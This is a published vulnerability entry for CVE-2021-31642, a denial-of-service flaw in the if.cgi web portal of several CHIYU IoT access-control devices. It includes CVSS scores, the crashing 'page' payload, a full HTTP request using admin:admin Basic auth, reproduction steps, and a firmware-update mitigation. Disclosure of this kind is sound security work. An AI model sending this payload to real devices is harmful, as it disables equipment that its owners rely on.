CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:N/I:N/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
91.9%
# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks
Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642
Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1
Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to the CGI component (if.cgi)
3. Append the payload at the end of the vulnerable parameter (page)
4. Submit the request and observe payload execution
Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:N/I:N/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
91.9%